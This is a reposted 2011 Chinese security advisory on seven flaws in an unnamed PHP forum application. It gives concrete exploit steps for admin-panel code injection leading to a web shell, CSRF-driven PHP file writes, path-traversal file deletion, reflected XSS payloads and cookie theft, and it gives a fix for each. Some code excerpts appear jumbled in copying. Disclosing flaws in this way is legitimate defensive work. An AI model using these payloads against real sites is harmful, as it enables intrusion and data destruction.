来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] www.insight-labs.org Report by insight-labs (Web Security Group) 2011-09-30目录1.普通用户提权漏洞(High)2.后台GetShell 1(High)3.后台GetShell 2(High)4.后台任意文件删除漏洞5.未加HttpOnly的Co......
www.insight-labs.org Report by insight-labs (Web Security Group) 2011-09-30 目录
1.普通用户提权漏洞(High) 2.后台GetShell 1(High) 3.后台GetShell 2(High) 4.后台任意文件删除漏洞 5.未加HttpOnly的Cookie 6.网站绝对路径泄露 7.多处反射型XSS
一、普通用户提权漏洞(High)
<漏洞简介> 普通用户提权漏洞,可以提升为管理员权限。 <漏洞分析> 由于危害程度較大,細節暫不公開 <漏洞利用> 由于危害程度較大,細節暫不公開 <漏洞修复> 由于危害程度較大,細節暫不公開 二、后台GetShell 1(High)
<漏洞简介> 后台-用户-用户组管理页面Get Shell <漏洞分析>
/admin/user_ajax.php?action=savegroups2
try {
case"savegroups2":
$groups = $_POST['groups']; if(is_array($groups)) {
foreach($groups as $group) { $db->row_update("groups", $group, "id={$group['id']}"); } } $rows = $db->row_select("groups", "", 0, "groupid,groupname,popedom,starnu m", "groupid"); $groups = array(); foreach($rows as $row) { $groups["{$row['groupid']}"] = $row; } writeGroupsCache(); succeedFlag(); } catch(Exception $e) {
} break;
echo($e);
更新信息以后,通 过writeGroupCache() 函数把更新的信息写到\cache\groups.php 当 中 , 直 接 访 问 \cache\groups.php 就可以得到shell。 <漏洞利用> 1、 登录管理后台。 2、 进入用户-用户组-模块。 3、 任意修改一个用户组名称为{${phpinfo()}}。 4、 访问/cache/groups.php 即可看到phpinfo 页面。 <漏洞修复> 更新数据时对’,”,$符号进行转义,替换为\’,\”,\$。
2
三、后台GetShell 2(High)
<漏洞简介> 后台portalchannel_ajax.php Get Shell <漏洞分析>
/admin/portalchannel_ajax.php?action=saverule
try { }
case"saverule":
$id = trim(strFilter($_POST['id'])); $code = stripslashes($_POST['code']); writeFile("collectrules/{$id}.php",$code); succeedRes();
catch(Exception $e) {
} break;
echo($e);
直接把id 作为php 的文件名,code 作为文件内容写入/admin/collectrules/文件夹当中。 并且在接收数据的时候,没有验证Referer 和Token,可以通过CSRF 来利用。 <漏洞利用> 1、 登录后台或者使用CSRF 攻击。 2、 向/admin/portalchannel_ajax.php?action=saverule 页面POST 数据 id=test&code=%3C%3Fphpinfo%28%29%3F%3E 3、访问/admin/collectrules/test.php 即可得到shell。 <漏洞修复>
增加Referer 和Token 验证,防止CSRF 攻击。 依据论坛需求合理设计该功能。 四、后台任意文件删除漏洞
<漏洞简介> 后台任意文件删除漏洞 <漏洞分析>
/admin/database.php case"delete" : $fileids = $_POST['fileids']; var_dump($fileids); if(!empty($fileids) && is_array($fileids)) { foreach($fileids as $fileid) { echo $backdir; if(file_exists("./{$backdir}/" . $fileid)) { www.2cto.com } } } else {
@unlink("./{$backdir}/". $fileid); $msgs[] = "文件删除成功:".$fileid;
$msgs[] = "请选择要删除的文件。"; } show_msg($msgs);
break; <漏洞利用> 1、 登录后台或者使用CSRF 攻击。 2、 向/admin/admin.php?inc=database&action=delete 页面POST 数据。 fileids[]=../../../index.php 3、index.php 被删除。 <漏洞修复> 增加Referer 和Token 验证,防止CSRF 攻击。 对fileids[] 变量进行过滤,替换变量中的.和\,/。 五、未加HttpOnly 的Cookie
<漏洞简介> Cookie 中存有密码,并且未加HttpOnly <漏洞分析>
/login.php
setCookies('username', $row['username'], $t); setCookies('userpass', $userpass_encrypt,$t); setCookies('userauth', md5($row['username'].$userpass_encrypt.$cache_settings['salt']) , $t); setCookies('userhidden',$userhidden, $t); setCookies('expire',$t, $t);
cookie 中的userpass 字段直接使用用户密码加密串来赋值,并且未加入HttpOnly 属性。攻击者可以通过XSS 攻 击轻松取到用户的Cookie 和加密后的密码,由于密码为md5 加密,所以很容易被破解。 <漏洞利用> 1、 使用XSS 获取其他用户Cookie 2、 使用在线破解网站破解用户密码,或者使用用户的cookie 进行登录。 <漏洞修复> setCookies 的时候,加入HttpOnly 属性。 六、网站绝对路径泄露
<漏洞简介> 爆网站绝对路径 <漏洞分析>
/admin/portalcollect.php /getfiles.php?f=http://xxx&t=js
未加入@容错,导致绝对路径泄露。 <漏洞利用>
1、 直接访问/admin/portalcollect.php 或者/getfiles.php?f=http://xxx&t=js 即可爆出绝对路径。 <漏洞修复>
关闭PHP 错误提示。 在出错的函数之前加上@ 6
七、多处反射型XSS
<漏洞简介> 多处反射型XSS <漏洞分析> 多处直接使用$_SERVER['PHP_SELF']变量而未进行编码,导致多处反射型XSS 漏洞。 credits.php/"><script>alert(1)</script> forum.php/"><script>alert(1)</script> index.php/"><script>alert(1)</script> login.php/"><script>alert(1)</script> online.php/"><script>alert(1)</script> … <漏洞利用> 1、credits.php/"><script>恶意JS代码</script> 2、 …. <漏洞修复> 进行转义 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com